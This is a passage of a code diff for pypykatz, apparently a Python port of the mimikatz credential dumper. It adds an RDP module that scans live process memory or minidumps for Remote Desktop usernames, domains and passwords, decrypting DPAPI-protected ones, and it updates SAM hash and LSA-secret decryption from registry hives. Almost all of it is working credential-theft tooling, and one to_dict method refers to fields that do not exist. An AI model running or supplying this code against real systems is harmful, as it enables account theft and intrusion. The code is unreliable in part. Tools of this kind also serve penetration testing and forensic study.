+		logonpasswords_group = rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side) from minidump file. Plain-text passwords only for WINVER <= Win2012')
+		logonpasswords_group.add_argument('cmd', choices=['minidump'])
+		logonpasswords_group.add_argument('memoryfile', help='path to the dump file')
+
+		mstsc_group = rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side) from minidump file. Unable to recover plain-text passwords offline.')
+		mstsc_group.add_argument('cmd', choices=['minidump'])
+		mstsc_group.add_argument('memoryfile', help='path to the dump file')
+
+	def execute(self, args):
+		if len(self.keywords) > 0 and args.command in self.keywords:
+			self.run(args)
+		
+		if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
+			self.run_live(args)
+		
+	def run_live(self, args):
+		credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all, live_rdp_module = args.live_rdp_module)
+		for credparser in credparsers:
+			for cred in credparser.credentials:
+				print(str(cred))
+				
+	def run(self, args):
+		credparsers = RDPCredParser.parse_minidump_file(args.memoryfile, args.rdp_module)
+		for credparser in credparsers:
+			for cred in credparser.credentials:
+				print(str(cred))
\ No newline at end of file
diff --git a/pypykatz/rdp/packages/__init__.py b/pypykatz/rdp/packages/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/pypykatz/rdp/packages/creds/__init__.py b/pypykatz/rdp/packages/creds/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/pypykatz/rdp/packages/creds/decryptor.py b/pypykatz/rdp/packages/creds/decryptor.py
new file mode 100644
index 0000000..016aeca
--- /dev/null
+++ b/pypykatz/rdp/packages/creds/decryptor.py
@@ -0,0 +1,279 @@
+import json
+import hashlib
+import math
+
+from pypykatz import logger
+from pypykatz.commons.common import hexdump
+from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
+
+
+class RDPCredential:
+    def __init__(self):
+        self.credtype = 'rdp'
+        self.domainname = None
+        self.username = ''
+        self.password = ''
+        self.password_raw = b''
+        self.isencrypted = None 
+        self.servername = ''
+        self.serverfqdn = ''
+
+    def to_dict(self):
+        t = {}
+        t['credtype'] = self.credtype
+        t['domainname'] = self.cachedir
+        t['username'] = self.PRT
+        t['password'] = self.key_guid
+        t['password_raw'] = self.dpapi_key
+        return t
+        
+    def to_json(self):
+        return json.dumps(self.to_dict())
+        
+    def __str__(self):
+        t = '\t== RDP Credential ==\n'
+        t += '\t\tdomainname %s\n' % self.domainname
+        t += '\t\tusername %s\n' % self.username
+        t += '\t\tpassword \'%s\'\n' % self.password
+
+        try:
+            t += '\t\tpassword_raw %s\n' % self.password_raw.hex()
+        except:
+            t += '\t\tpassword_raw %s\n' % self.password_raw
+
+        t += '\t\tisencrypted: %s\n' % str(self.isencrypted)
+        t += '\t\tservername: \'%s\'\n' % self.servername
+        t += '\t\tserverfqdn: \'%s\'\n' % self.serverfqdn
+        return t
+
+class RDPCredentialDecryptorMstsc:
+    def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False):
+        self.process = process
+        self.reader = reader
+        self.sysinfo = sysinfo
+        self.decryptor_template = decryptor_template
+        self.credentials = []
+        self.find_first = find_first
+
+    def find_string(self, chunck):
+        marker = chunck.find(b'\x00\x00')
+        if marker <= 0:
+            chunck = b''
+        return chunck[:marker + 1]
+
+    def find_entries(self, chunksize=10*1024):
+        reader = self.reader.get_reader()
+        handler = reader.get_handler() 
+        memory_segments = reader.get_memory() 
+
+        #x = self.reader.find_all_global(self.decryptor_template.signature)
+        for ms in memory_segments:
+            x = ms.search(self.decryptor_template.signature, handler)
+
+            for addr in x:
+                self.reader.move(addr)
+                properties = self.decryptor_template.properties_struct(self.reader)
+                if properties.unkh0 == int(0xdbcaabcd):
+                    if properties.unkd1 >= 10 and properties.unkd1 < 500:
+                        if properties.cbProperties >= 10 and properties.cbProperties < 500:
+                            if properties.pProperties.value:
+                                """
+                                logger.debug("========TS_PROPERTIES_KIWI=========")
+                                logger.debug("unkh0 = {}".format(hex(properties.unkh0)))
+                                logger.debug("unkd0 = {}".format(hex(properties.unkd0)))
+                                logger.debug("unkp2 = {}".format(hex(properties.unkp2)))
+                                logger.debug("unkd1 = {}".format(properties.unkd1))
+                                logger.debug("unkp3 = {}".format(hex(properties.unkp3)))
+                                logger.debug("pProperties = {}".format(hex(properties.pProperties.value)))
+                                logger.debug("cbProperties = {}".format(properties.cbProperties))
+                                logger.debug("===================================")
+                                """
+                                try:
+                                    self.reader.move(properties.pProperties.value)
+                                    cred = RDPCredential()
+                    
+                                    for i in range(properties.cbProperties):
+                                        property = self.decryptor_template.property_struct(self.reader)
+                               
+                                        if property.szProperty and property.dwType > 0 and property.dwType < 20:
+                                            """
+                                            logger.debug("========TS_PROPERTY_KIWI=========")
+                                            logger.debug("szProperty = {}".format(hex(property.szProperty)))
+                                            logger.debug("dwType = {}".format(property.dwType))
+                                            logger.debug("pvData = {}".format(hex(property.pvData)))
+                                            logger.debug("unkp0 = {}".format(property.unkp0))
+                                            logger.debug("unkd0 = {}".format(property.unkd0))
+                                            logger.debug("dwFlags = {}".format(property.dwFlags))
+                                            logger.debug("unkd1 = {}".format(property.unkd1))
+                                            logger.debug("unkd2 = {}".format(property.unkd2))
+                                            logger.debug("pValidator = {}".format(hex(property.pValidator)))
+                                            logger.debug("unkp2 = {}".format(property.unkp2))
+                                            logger.debug("unkp3 = {}".format(property.unkp3))
+                                            logger.debug("=================================")
+                                            """
+                                            current_addr = self.reader.tell()
+                                            try:
+                                                self.reader.move(property.szProperty)
+                                                chunck = self.reader.read(1024)
+                                                string = self.find_string(chunck)
+                                                marker = string.find(b'\x00')
+                                                if marker > 0:
+                                                    string = string[:marker]
+                                                szProperty = string.decode('utf-8')
+
+                                                szProperties = ["ServerName", "ServerFqdn", "ServerNameUsedForAuthentication", "UserSpecifiedServerName", "UserName", "Domain", "Password", "SmartCardReaderName", "RDmiUsername", "PasswordContainsSCardPin"]
+                                                if szProperty in szProperties:
+                                                    value = ''
+                                                    if property.dwType == 3:
+                                                        value = "TRUE" if property.pvData else "FALSE"
+                                                        #print("{:<35s}\t[bool] {}".format(szProperty, "TRUE" if property.pvData else "FALSE"))
+
+                                                    if property.dwType == 4:
+                                                        self.reader.move(property.pvData)
+                                                        chunck = self.reader.read(1024)
+                                                        string = self.find_string(chunck)
+                                                        value = string.decode('utf-16-le')
+                                                        #print("{:<35s}\t[wstring] '{}'".format(szProperty, string.decode('utf-16-le')))
+                                                        
+                                                    elif property.dwType == 6:  
+                                                        if property.pvData and property.unkp2:
+                                                            self.reader.move(property.pvData)
+                                                            chunck = self.reader.read(property.unkp2)
+                                                            if property.dwFlags & 0x800:
+                                                                #print("{:<35s}\t[protect] {} (length = {})".format(szProperty, chunck, property.unkp2))
+                                                                if self.process is None:
+                                                                    value = chunck
+                                                                else:
+                                                                    value = self.process.dpapi_memory_unprotect(property.pvData, property.unkp2, 0)
+                                                                    if len(value) > 4:
+                                                                        value = value[4:]
+                                                            else:
+                                                                #print("{:<35s}\t[unprotect] {} (length = {})".format(szProperty, chunck, property.unkp2))
+                                                                value = chunck
+
+                                                    if value is None:
+                                                        value = b''
+                                                    if szProperty == "ServerName":
+                                                        cred.servername = value
+                                                    elif szProperty == "ServerFqdn":
+                                                        cred.serverfqdn = value
+                                                    elif szProperty == "UserName":
+                                                        cred.username = value
+                                                    elif szProperty == "Domain":
+                                                        cred.domainname = value
+                                                    elif szProperty == "Password" and (property.dwFlags & 0x800):
+                                                        cred.password_raw = value
+                                                        if self.process is None:
+                                                            cred.password = ''
+                                                            cred.isencrypted = True
+                                                        else:
+                                                            cred.password = cred.password_raw.decode('utf-16-le').rstrip('\x00')
+                                                            cred.isencrypted = False
+                                                    elif szProperty == "Password":
+                                                        cred.password_raw = value
+                                                        cred.password = value.decode('utf-16-le')
+                                                        cred.isencrypted = False
+
+                                            except Exception as e: # Memory address not in process memory space
+                                                logger.debug("Error: {}".format(e))
+                                            self.reader.move(current_addr)
+                                    
+                                    if cred.username:
+                                        self.credentials.append(cred)    
+                                        if self.find_first:
+                                            return
+
+                                except Exception as e: # Memory address not in process memory space
+                                    logger.debug("Error: {}".format(e))
+
+
+    def start(self, chunksize=10*1024):
+        #x = self.reader.find_all_global(self.decryptor_template.signature)
+        self.find_entries(chunksize)
+        if not len(self.credentials):
+            logger.debug('No RDP credentials found!')
+
+
+class RDPCredentialDecryptorLogonpasswords:
+    def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False, lower_bound=0, upper_bound=-1):
+        self.process = process
+        self.reader = reader
+        self.sysinfo = sysinfo
+        self.decryptor_template = decryptor_template
+        self.credentials = []
+        self.find_first = find_first
+        self.lower_bound = lower_bound
+        self.upper_bound = upper_bound
+
+    def add_entry(self, rdpcred_entry):
+        if hex(rdpcred_entry.unk1.value & 0xff010000) == hex(0x00010000): # mstscax & freerdp
+            bIsCandidate = True
+        elif not hex(rdpcred_entry.unk1.value & 0xffff0000): # rdesktop
+            bIsCandidate = True
+        else:
+            bIsCandidate = False
+
+        try:
+            if bIsCandidate and rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbUsername > 0 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0:
+                domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le')
+                username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le')
+                password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword]
+
+                if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
+                    if self.process is None:
+                        logger.debug('Credentials found but they are encrypted!')
+                        password_raw = rdpcred_entry.Password[:16 * math.ceil(rdpcred_entry.cbPassword/16)]
+                        password = ''
+                        isencrypted = True
+                    else:
+                        password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0)
+                        password = password_raw.decode('utf-16-le').rstrip('\x00')
+                        isencrypted = False
+                else:
+                    password = password_raw.decode('utf-16-le')
+                    password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00'
+                    isencrypted = False
+
+                cred = RDPCredential()
+                cred.domainname = domainame
+                cred.username = username
+                cred.password = password
+                cred.password_raw = password_raw
+                cred.isencrypted = isencrypted
+                self.credentials.append(cred)
+
+            else:
+                logger.debug('This RDPCred entry is garbage!')
+        except Exception as e:
+            logger.debug('RDP entry parsing error! Reason %s' % e)
+            
+    
+    def start(self, chunksize=10*1024):
+        reader = self.reader.get_reader()
+        handler = reader.get_handler() 
+        memory_segments = reader.get_memory() 
+
+        if self.upper_bound == -1:
+            self.upper_bound = len(memory_segments)
+
+        for idx, ms in enumerate(memory_segments):
+            if idx > self.lower_bound and idx < self.upper_bound:
+                x = []
+                for signature in self.decryptor_template.signatures:
+                    x += ms.search(signature, handler)
+            
+                for addr in x:
+                    addr += self.decryptor_template.offset
+                    self.reader.move(addr)
+                        
+                    try:
+                        cred = self.decryptor_template.cred_struct(self.reader)
+                    except Exception as e:
+                        logger.debug('Reading error! (this can be normal here) %s' % str(e))
+                        continue
+
+                    self.add_entry(cred)
+                    if len(self.credentials) > 0 and self.find_first:
+                        return
+
+
diff --git a/pypykatz/rdp/packages/creds/templates.py b/pypykatz/rdp/packages/creds/templates.py
new file mode 100644
index 0000000..8a03c17
--- /dev/null
+++ b/pypykatz/rdp/packages/creds/templates.py
@@ -0,0 +1,104 @@
+
+from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
+from pypykatz.commons.win_datatypes import POINTER, ULONG, \
+	KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \
+	LSA_UNICODE_STRING, WORD
+from minidump.win_datatypes import PCWSTR
+from pypykatz.commons.common import hexdump
+
+class RDPCredsTemplate:
+	def __init__(self):
+		self.signatures = None
+		self.signature = None
+
+		self.cred_struct = None
+		self.property_struct = None
+		self.properties_struct = None
+
+	@staticmethod
+	def get_logonpasswords_template(sysinfo):
+		template = RDPCredsTemplate()
+
+		if sysinfo.buildnumber >= WindowsBuild.WIN_8.value:
+			template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01']
+			template.offset = 0
+			template.cred_struct = WTS_KIWI
+		
+		else:
+			template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00']
+			template.offset = 16
+			template.cred_struct = WTS_KIWI_2008R2
+		
+		return template
+
+	@staticmethod
+	def get_mstsc_template():
+		template = RDPCredsTemplate()
+
+		template.signature = b'\xcd\xab\xca\xdb\x03'
+		template.property_struct = TS_PROPERTY_KIWI
+		template.properties_struct = TS_PROPERTIES_KIWI
+		
+		return template
+
+# See mimikatz/modules/kuhl_m_ts.h
+class PTS_PROPERTY_KIWI(POINTER):
+	def __init__(self, reader):
+		super().__init__(reader, TS_PROPERTY_KIWI)
+
+class TS_PROPERTY_KIWI:
+	def __init__(self, reader):
+		reader.align()
+		self.szProperty = PCWSTR(reader).value
+		self.dwType = DWORD(reader).value
+		reader.align()
+		self.pvData = PVOID(reader).value
+		self.unkp0 = PVOID(reader).value
+		self.unkd0 = DWORD(reader).value
+		self.dwFlags = DWORD(reader).value
+		self.unkd1 = DWORD(reader).value
+		self.unkd2 = DWORD(reader).value
+		self.pValidator = PVOID(reader).value
+		self.unkp2 = PVOID(reader).value
+		self.unkp3 = PVOID(reader).value
+
+class TS_PROPERTIES_KIWI:
+	def __init__(self, reader):
+		#self.unkp0 = PVOID(reader).value
+		#self.unkp1 = PVOID(reader).value 
+		self.unkh0 = DWORD(reader).value # 0xdbcaabcd
+		self.unkd0 = DWORD(reader).value # 3
+		self.unkp2 = PVOID(reader).value
+		self.unkd1 = DWORD(reader).value # 45
+		reader.align()
+		self.unkp3 = PVOID(reader).value
+		reader.align()
+		self.pProperties_addr = reader.tell()
+		self.pProperties = PVOID(reader)#PTS_PROPERTY_KIWI(reader)
+		self.cbProperties = DWORD(reader).value
+
+class WTS_KIWI:
+	def __init__(self, reader):
+		self.unk0 = DWORD(reader)
+		self.unk1 = DWORD(reader)
+		self.cbDomain = WORD(reader).value
+		self.cbUsername = WORD(reader).value
+		self.cbPassword = WORD(reader).value
+		self.unk2 = DWORD(reader)
+		self.Domain = reader.read(512)
+		self.UserName = reader.read(512)
+		self.Password_addr = reader.tell()
+		self.Password = reader.read(512)
+
+class WTS_KIWI_2008R2:
+	def __init__(self, reader):
+		self.unk0 = DWORD(reader)
+		self.unk1 = DWORD(reader)
+		self.cbDomain = WORD(reader).value + 511 #making it compatible with the other version. this is probably a bool?
+		self.cbUsername = WORD(reader).value + 511
+		self.cbPassword = WORD(reader).value + 511
+		self.unk2 = DWORD(reader)
+		self.Domain = reader.read(512)
+		self.UserName = reader.read(512)
+		self.Password_addr = reader.tell()
+		self.Password = reader.read(512)
\ No newline at end of file
diff --git a/pypykatz/rdp/parser.py b/pypykatz/rdp/parser.py
new file mode 100644
index 0000000..c74016e
--- /dev/null
+++ b/pypykatz/rdp/parser.py
@@ -0,0 +1,120 @@
+
+import platform
+from pypykatz import logger
+from minidump.minidumpfile import MinidumpFile
+from pypykatz.commons.common import KatzSystemInfo
+from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate
+from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptorLogonpasswords, RDPCredentialDecryptorMstsc
+
+class RDPCredParser:
+	def __init__(self, process, reader, sysinfo, rdp_module, find_first=False, lower_bound=0, upper_bound=-1):
+		self.process = process
+		self.reader = reader
+		self.sysinfo = sysinfo
+		self.credentials = []
+		self.rdp_module = rdp_module
+		self.find_first = find_first
+		self.lower_bound = lower_bound
+		self.upper_bound = upper_bound
+	
+	@staticmethod
+	def go_live(pid = None, all_rdp = False, live_rdp_module = None):
+		if platform.system() != 'Windows':
+			raise Exception('Live parsing will only work on Windows')
+		from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS
+		from pypykatz.commons.winapi.machine import LiveMachine
+		from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD
+		from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege
+		from pypykatz.commons.readers.local.live_reader import LiveReader
+		from pypykatz.commons.readers.local.process import Process
+		req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD
+
+		enable_debug_privilege()
+		targets = []
+
+		if pid is not None:
+			process = Process(pid=pid, access = req_access_rights )
+			process.list_modules()
+			reader = LiveReader(process_handle=process.phandle)
+			sysinfo = KatzSystemInfo.from_live_reader(reader)
+			targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
+			
+		else:
+			machine = LiveMachine()
+
+			if live_rdp_module == "logonpasswords" and all_rdp is False:
+				for service_name, display_name, pid in machine.list_services():
+					if service_name == 'TermService':
+						process = Process(pid=pid, access = req_access_rights )
+						reader = LiveReader(process_handle=process.phandle)
+						sysinfo = KatzSystemInfo.from_live_reader(reader)
+						targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
+
+			if live_rdp_module == "mstsc" and all_rdp is False:
+				for pid in machine.list_all_pids():
+					try:
+						process = Process(pid=pid, access = req_access_rights )
+						for module in process.list_modules():
+							if module.name.lower().find("mstscax.dll") != -1:
+								reader = LiveReader(process_handle=process.phandle)
+								sysinfo = KatzSystemInfo.from_live_reader(reader)
+								targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
+								break
+					except Exception as e:
+						#import traceback
+						#traceback.print_exc()
+						pass
+					if len(targets):
+						break
+
+			if all_rdp is True:
+				for pid in machine.list_all_pids():
+					try:
+						process = Process(pid=pid, access = req_access_rights )
+						for module in process.list_modules():
+							if module.name.lower().find("mstscax.dll") != -1 or module.name.lower().find("rdpcorets.dll") != -1:
+								reader = LiveReader(process_handle=process.phandle)
+								sysinfo = KatzSystemInfo.from_live_reader(reader)
+								targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
+								break
+					except Exception as e:
+						#import traceback
+						#traceback.print_exc()
+						print(e)
+		
+		for target in targets:
+			target.start()
+		return targets
+
+	@staticmethod
+	def parse_minidump_file(filename, rdp_module, chunksize = 10*1024):
+		try:
+			minidump = MinidumpFile.parse(filename)
+			reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize)
+			sysinfo = KatzSystemInfo.from_minidump(minidump)
+		except Exception as e:
+			logger.exception('Minidump parsing error!')
+			raise e
+		try:
+			mimi = RDPCredParser(None, reader, sysinfo, rdp_module)
+			mimi.start()
+		except Exception as e:
+			logger.info('Credentials parsing error!')
+			raise e
+		return [mimi]
+
+	def rdpcreds(self):
+		if self.rdp_module == "logonpasswords":
+			decryptor_template = RDPCredsTemplate.get_logonpasswords_template(self.sysinfo)
+			decryptor = RDPCredentialDecryptorLogonpasswords(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first, lower_bound=self.lower_bound, upper_bound=self.upper_bound)
+		else: # mstsc
+			decryptor_template = RDPCredsTemplate.get_mstsc_template()
+			decryptor = RDPCredentialDecryptorMstsc(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first)
+
+		decryptor.start()
+
+		for cred in decryptor.credentials:
+			self.credentials.append(cred)
+
+	def start(self):
+		self.rdpcreds()
\ No newline at end of file
diff --git a/pypykatz/registry/aoffline_parser.py b/pypykatz/registry/aoffline_parser.py
index a8c3b7c..eb446e9 100644
--- a/pypykatz/registry/aoffline_parser.py
+++ b/pypykatz/registry/aoffline_parser.py
@@ -41,7 +41,7 @@ class OffineRegistry:
 			await self.sam.get_secrets()
 			
 		if self.security_hive:
-			self.security = SECURITY(self.security_hive, bootkey)
+			self.security = SECURITY(self.security_hive, bootkey, self.system)
 			await self.security.get_secrets()
 			
 		if self.software_hive:
@@ -49,7 +49,7 @@ class OffineRegistry:
 			await self.software.get_default_logon()
 		
 	def to_file(self, file_path, json_format = False):
-		with open(file_path, 'w', newline = '') as f:
+		with open(file_path, 'a', newline = '') as f:
 			if json_format == False:
 				f.write(str(self))
 			else:
diff --git a/pypykatz/registry/cmdhelper.py b/pypykatz/registry/cmdhelper.py
index cf44464..df3419d 100644
--- a/pypykatz/registry/cmdhelper.py
+++ b/pypykatz/registry/cmdhelper.py
@@ -4,13 +4,10 @@
 #  Tamas Jos (@skelsec)
 #
 
-import os
 import json
-import glob
-import ntpath
 import traceback
 
-from pypykatz import logging
+from pypykatz import logger
 from pypykatz.commons.common import UniversalEncoder
 
 
@@ -56,12 +53,12 @@ class RegistryCMDHelper:
 			lr = LiveRegistry.go_live()
 		except Exception as e:
 			traceback.print_exc()
-			logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
+			logger.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
 			try:
 				from pypykatz.registry.offline_parser import OffineRegistry
 				lr = OffineRegistry.from_live_system()
 			except Exception as e:
-				logging.debug('Failed to obtain registry secrets via filedump method')
+				logger.debug('Failed to obtain registry secrets via filedump method')
 		
 		if lr is not None:
 			self.process_results(lr, args)
diff --git a/pypykatz/registry/live_parser.py b/pypykatz/registry/live_parser.py
index 86a9f55..b7884a9 100644
--- a/pypykatz/registry/live_parser.py
+++ b/pypykatz/registry/live_parser.py
@@ -79,7 +79,7 @@ class LiveRegistry:
 				pass
 		
 	def to_file(self, file_path, json_format = False):
-		with open(file_path, 'w', newline = '') as f:
+		with open(file_path, 'a', newline = '') as f:
 			if json_format == False:
 				f.write(str(self))
 			else:
diff --git a/pypykatz/registry/offline_parser.py b/pypykatz/registry/offline_parser.py
index d3a719f..12de9e0 100644
--- a/pypykatz/registry/offline_parser.py
+++ b/pypykatz/registry/offline_parser.py
@@ -41,7 +41,7 @@ class OffineRegistry:
 			self.sam.get_secrets()
 			
 		if self.security_hive:
-			self.security = SECURITY(self.security_hive, bootkey)
+			self.security = SECURITY(self.security_hive, bootkey, self.system)
 			self.security.get_secrets()
 			
 		if self.software_hive:
@@ -58,7 +58,7 @@ class OffineRegistry:
 				pass
 		
 	def to_file(self, file_path, json_format = False):
-		with open(file_path, 'w', newline = '') as f:
+		with open(file_path, 'a', newline = '') as f:
 			if json_format == False:
 				f.write(str(self))
 			else:
diff --git a/pypykatz/registry/sam/asam.py b/pypykatz/registry/sam/asam.py
index e4124c5..dc83a74 100644
--- a/pypykatz/registry/sam/asam.py
+++ b/pypykatz/registry/sam/asam.py
@@ -3,19 +3,15 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import hashlib
-import hmac
-import io
-from pypykatz.registry.sam.structures import *
-from pypykatz.crypto.RC4 import RC4
-from pypykatz.crypto.aes import AESModeOfOperationCBC
-from pypykatz.crypto.des import des, expand_DES_key
 
-#####
-from pypykatz.registry.sam.structures import *
-from pypykatz.registry.sam.common import *
+from unicrypto import hashlib
+from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES
+
 from pypykatz.registry import logger
-from pypykatz.commons.win_datatypes import SID
+from pypykatz.registry.sam.common import SAMSecret
+from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\
+	SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES
+
 
 #
 # The SAM hive holds the hashed passwords of the LOCAL machine users
@@ -42,8 +38,8 @@ class SAM:
 		
 	def decrypt_hash(self, rid, hashobj, constant):
 		key1, key2 = SAM.rid_to_key(rid)
-		des1 = des(key1)
-		des2 = des(key2)
+		des1 = DES(key1)
+		des2 = DES(key2)
 		
 		if isinstance(hashobj, SAM_HASH):
 			rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
@@ -51,7 +47,7 @@ class SAM:
 			
 		else:
 			key = b''
-			cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
+			cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt)
 			n = 16
 			for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]:  #terrible, terrible workaround
 				key += cipher.decrypt(block)
@@ -84,7 +80,7 @@ class SAM:
 				
 		elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
 			self.hashed_bootkey = b''
-			cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
+			cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt)
 			n = 16
 			for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]:  #terrible, terrible workaround
 				self.hashed_bootkey += cipher.decrypt(block)
diff --git a/pypykatz/registry/sam/sam.py b/pypykatz/registry/sam/sam.py
index 4494c83..172879f 100644
--- a/pypykatz/registry/sam/sam.py
+++ b/pypykatz/registry/sam/sam.py
@@ -3,19 +3,14 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import hashlib
-import hmac
-import io
-from pypykatz.registry.sam.structures import *
-from pypykatz.crypto.RC4 import RC4
-from pypykatz.crypto.aes import AESModeOfOperationCBC
-from pypykatz.crypto.des import des, expand_DES_key
 
-#####
-from pypykatz.registry.sam.structures import *
-from pypykatz.registry.sam.common import *
+from unicrypto import hashlib
+from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES
+
 from pypykatz.registry import logger
-from pypykatz.commons.win_datatypes import SID
+from pypykatz.registry.sam.common import SAMSecret
+from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\
+	SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES
 
 #
 # The SAM hive holds the hashed passwords of the LOCAL machine users
@@ -42,8 +37,8 @@ class SAM:
 		
 	def decrypt_hash(self, rid, hashobj, constant):
 		key1, key2 = SAM.rid_to_key(rid)
-		des1 = des(key1)
-		des2 = des(key2)
+		des1 = DES(key1)
+		des2 = DES(key2)
 		
 		if isinstance(hashobj, SAM_HASH):
 			rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
@@ -51,7 +46,7 @@ class SAM:
 			
 		else:
 			key = b''
-			cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
+			cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt)
 			n = 16
 			for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]:  #terrible, terrible workaround
 				key += cipher.decrypt(block)
@@ -83,7 +78,7 @@ class SAM:
 				
 		elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
 			self.hashed_bootkey = b''
-			cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
+			cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt)
 			n = 16
 			for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]:  #terrible, terrible workaround
 				self.hashed_bootkey += cipher.decrypt(block)
diff --git a/pypykatz/registry/security/acommon.py b/pypykatz/registry/security/acommon.py
new file mode 100644
index 0000000..3dc03c5
--- /dev/null
+++ b/pypykatz/registry/security/acommon.py
@@ -0,0 +1,232 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+from unicrypto.hashlib import md4 as MD4
+from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
+from pypykatz.commons.common import hexdump
+
+#
+# These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive
+# The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret
+# it will store the decrypted secret in raw bytes
+#
+#
+
+class LSASecret:
+	def __init__(self,key_name, raw_secret, history = False):
+		self.raw_secret = raw_secret
+		self.key_name = key_name
+		self.history = history
+	
+	@staticmethod
+	async def process(key_name, raw_secret, history = False, system_hive = None):
+		kn = key_name.upper()
+		if len(raw_secret) == 0:
+			return
+		if raw_secret.startswith(b'\x00\x00'):
+			return
+		
+		if kn.startswith('_SC_'):
+			lss = LSASecretService(kn, raw_secret, history, system_hive)
+			await lss.process_secret()
+			
+		elif kn.startswith('DEFAULTPASSWORD'):
+			lss = LSASecretDefaultPassword(kn, raw_secret, history)
+			lss.process_secret()
+			
+		elif kn.startswith('ASPNET_WP_PASSWORD'):
+			lss = LSASecretASPNET(kn, raw_secret, history)
+			lss.process_secret()
+			
+		elif kn.startswith('DPAPI_SYSTEM'):
+			lss = LSASecretDPAPI(kn, raw_secret, history)
+			lss.process_secret()
+			
+		elif kn.startswith('$MACHINE.ACC'):
+			lss = LSASecretMachineAccount(kn, raw_secret, history)
+			lss.process_secret()
+		
+		else:
+			lss = LSASecret(kn, raw_secret, history)
+			
+		return lss
+		
+	def __str__(self):
+		return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret)
+	
+	def to_dict(self):
+		t = {}
+		t['type'] = 'LSASecret'
+		t['key_name'] = self.key_name
+		t['history'] = self.history
+		t['raw_secret'] = self.raw_secret
+		return t
+		
+class LSASecretService(LSASecret):
+	def __init__(self, key_name, raw_secret, history, system_hive = None):
+		LSASecret.__init__(self, key_name, raw_secret, history)
+		self.system_hive = system_hive
+		self.service = None
+		self.username = None
+		self.secret = None
+		
+	async def process_secret(self):
+		try:
+			self.secret = self.raw_secret.decode('utf-16-le')
+		except:
